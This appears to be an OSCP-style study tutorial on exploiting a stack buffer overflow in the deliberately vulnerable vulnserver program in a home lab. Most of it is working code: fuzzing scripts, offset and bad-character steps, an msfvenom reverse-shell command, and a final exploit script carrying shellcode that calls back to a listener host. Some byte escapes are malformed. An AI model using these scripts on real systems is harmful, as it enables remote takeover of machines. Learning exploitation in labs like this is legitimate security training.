Buffer_Overflow_Attacks

Computer Arch basics

40 Intro to Buffer Overflow - OSCP | Offensive Security Certified Professional

Buffer Overflow شرح | OSCP Preparation | Ethical Hacking 0x1

Stack pointer (ESP)points to the top of the stack

Base Pointer (EBB)

points to the bottom of the stack

Instruction Pointer (EIP)

points to the next instruction to be executed

Buffer OverFlow in action

in my situation I’m running immunity debugger and vulnserver program which is a simple vulnerable server accepts connections on 9999 port by default and the TRUN command we will work on

Spiking

in my situation I’m running immunity debugger and vulnserver program which is a simple vulnerable server accepts connections on 9999 port by default and the TRUN command we will work on

first we need to know which input is vulnerable this process is called spiking, we can do this by tool called **generic_send_tcp it take spiking script as an argument ,**it will send many connections and if it’s crashed so it’s a vuln input here:

#trun.spk script 

s_readline();
s_string("TRUN")' #TRUN is the exact name of the vuln command
s_string_variable("0");
 generic_send_tcp 192.168.1.2 9999 trun.spk 0 0 

Fuzzing

in this process we try to estimate at what point the command will crash so we send chars and increasing it every time till it crash using this python script:

#!/bin/python3

import sys,socket
from time import sleep

buffer= "A" * 100
while True:
    try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + buffer).encode())
        s.close()
        sleep(1)
        buffer = buffer + "A" * 100
        
    except:
        print('Fuzzing crashed at = %s' % str(len(buffer)))
        sys.exit()

receiving connections

crashed here we can see it’s crashed at what point

Finding The Offset

here we gonna be looking for where we can control the EIP, using :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
## -l for length which we got from fuzzing script ( I round it up)

let’s modify our script to send this payload we got and send it again

#!/bin/python3

import sys,socket
from time import sleep

offset =" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + offset).encode())
        s.close()
        
except:
        print(' Error connecting to server')
        sys.exit()

and then run it and see the value of the EIP which is the offset we are looking for

now we will try to find where is that address using the same metasploit tool

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 43376F43

Overwriting The EIP

so we have 2001 byte and 4 bytes for EIP it self , our target is the 4 bytes so let’s modify our code and run it

#!/bin/python3

import sys,socket
from time import sleep

#fill all rigesters with A(41) but the EIP with B(42) to make sure we got the exact 4 bytes right 
shellcode= "A" * 2001 + "B" * 4
try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + shellcode).encode())
        s.close()
        
        
except:
        print(' Error connecting to server')
        sys.exit()

Finding The Bad Chars

to find them we can send all the hex chars and remove them one by one so lets modify our code

#!/bin/python3

import sys,socket
from time import sleep

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

#fill all rigesters with A(41) but the EIP with B(42) to make sure we got the exact 4 bytes right 
shellcode= "A" * 2002 + "B" * 4 + badchars
try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + shellcode).encode())
        s.close()
        
        
except:
        print(' Error connecting to server')
        sys.exit()

we run the code and go to the immunity debugger

  • now start search in DUMP if there are any char in wrong place or removed

  • when u find consecutive bad chars u have to worry about the first of them not the second (if u removed both it will still work)

  • sometimes when a bad char has been removed it substitute with another char (try to search for that char will be easiest to identify the bad chars but take care not all of them are bad sometimes there’s that that char in it’s right place not a substitution)

Finding The Right Module

first download mona.py module and put it in the pycommands folder so we can use it in immunity debugger

second we find the right module in mona , the right module will have false in most of memory protection and will be attached and will be in the path of our VULN program

in our case the right one is the first one

we need to know which return address is available for us to make JMP ESP command and using our module in order to control the EIP , so we need to search for it but by the OPCODE(hexa decimal equivalent to assembly code) after that we search for the best pointer to it :

I’ll try the first one, we should try them till it works let’s modify our code:

#!/bin/python3

import sys,socket
from time import sleep

#625011af that was our return adderess for the right Module and JMP command

#here instead of having 4B's in EIP we will put our return address so the EIP now have a JMP code and the JMP code will take us to our mallicious code
shellcode= "A" * 2002 + "\xaf\11\50\x62" #we write in revers cuz it's an little indian format(it put the lower order byte at the lowest address)
try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + shellcode).encode())
        s.close()
        
        
except:
        print(' Error connecting to server')
        sys.exit()

go to immunity and start to follow that return address we prepared and make a breakpoint by pressing F2 (this will make the program pause at this point actually at the EIP)

let’s run our script after that

note(the actual size was 2001 but when i tested by putting B’s in the EIP it doesn’t work so i tried 2002 and it worked perfectly until that point ,, but now there was some problem somehow i couldn’t reach our breakpoint address so i tried to make it 2001 and it worked 😅 so I just wanted to explain all this )

after we ran the script we should see that the EIP in a breakpoint and has been controlled 🤠

it’s the time to create our shell we will use MSVENOM and modify our script

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
  • -p for payload

  • EXITFUNC= thread to make it more stable

  • -f for format

  • -a for architecture

  • -b for removing the bad chars , in our case it’s just the null byte

#!/usr/bin/python3

import sys, socket
from time import sleep

#b for encoding
overflow = (b"\xbf\xab\x88\xa2\xd2\xda\xd4\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
b"\x52\x83\xee\xfc\x31\x7e\x0e\x03\xd5\x86\x40\x27\xd5\x7f\x06"
b"\xc8\x25\x80\x67\x40\xc0\xb1\xa7\x36\x81\xe2\x17\x3c\xc7\x0e"
b"\xd3\x10\xf3\x85\x91\xbc\xf4\x2e\x1f\x9b\x3b\xae\x0c\xdf\x5a"
b"\x2c\x4f\x0c\xbc\x0d\x80\x41\xbd\x4a\xfd\xa8\xef\x03\x89\x1f"
b"\x1f\x27\xc7\xa3\x94\x7b\xc9\xa3\x49\xcb\xe8\x82\xdc\x47\xb3"
b"\x04\xdf\x84\xcf\x0c\xc7\xc9\xea\xc7\x7c\x39\x80\xd9\x54\x73"
b"\x69\x75\x99\xbb\x98\x87\xde\x7c\x43\xf2\x16\x7f\xfe\x05\xed"
b"\xfd\x24\x83\xf5\xa6\xaf\x33\xd1\x57\x63\xa5\x92\x54\xc8\xa1"
b"\xfc\x78\xcf\x66\x77\x84\x44\x89\x57\x0c\x1e\xae\x73\x54\xc4"
b"\xcf\x22\x30\xab\xf0\x34\x9b\x14\x55\x3f\x36\x40\xe4\x62\x5f"
b"\xa5\xc5\x9c\x9f\xa1\x5e\xef\xad\x6e\xf5\x67\x9e\xe7\xd3\x70"
b"\xe1\xdd\xa4\xee\x1c\xde\xd4\x27\xdb\x8a\x84\x5f\xca\xb2\x4e"
b"\x9f\xf3\x66\xc0\xcf\x5b\xd9\xa1\xbf\x1b\x89\x49\xd5\x93\xf6"
b"\x6a\xd6\x79\x9f\x01\x2d\xea\x60\x7d\x2c\xee\x08\x7c\x2e\xff"
b"\x94\x09\xc8\x95\x34\x5c\x43\x02\xac\xc5\x1f\xb3\x31\xd0\x5a"
b"\xf3\xba\xd7\x9b\xba\x4a\x9d\x8f\x2b\xbb\xe8\xed\xfa\xc4\xc6"                                                                           
b"\x99\x61\x56\x8d\x59\xef\x4b\x1a\x0e\xb8\xba\x53\xda\x54\xe4"
b"\xcd\xf8\xa4\x70\x35\xb8\x72\x41\xb8\x41\xf6\xfd\x9e\x51\xce"
b"\xfe\x9a\x05\x9e\xa8\x74\xf3\x58\x03\x37\xad\x32\xf8\x91\x39"
b"\xc2\x32\x22\x3f\xcb\x1e\xd4\xdf\x7a\xf7\xa1\xe0\xb3\x9f\x25"
b"\x99\xa9\x3f\xc9\x70\x6a\x5f\x28\x50\x87\xc8\xf5\x31\x2a\x95"
b"\x05\xec\x69\xa0\x85\x04\x12\x57\x95\x6d\x17\x13\x11\x9e\x65"
b"\x0c\xf4\xa0\xda\x2d\xdd")

#625011af that was our return adderess for the right Module and JMP command

#here instead of having 4B's in EIP we will put our return address so the EIP now have a JMP code and the JMP code will take us to our mallicious code
#the first 2001 A's will take us to the EIP
#when we get to the EIP we put our JMP address,the JMP address will take us to the instructions that we provide 
#the instructions we provide is our msvenom shell code we just generated 
#the "\x90" is NOPs is just padding between our jmp and shell code we try more than one size like 16,32..

shellcode = b"A" * 2002 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.1.2',9999))

	payload = b"TRUN /.:/" + shellcode

	s.send((payload))
	s.close()
except:
	print ("Error connecting to server")
	sys.exit()

after that open netcat session listening on port u provided when make the shell and run the script and hopefully u will get the shell on the machine

Last updated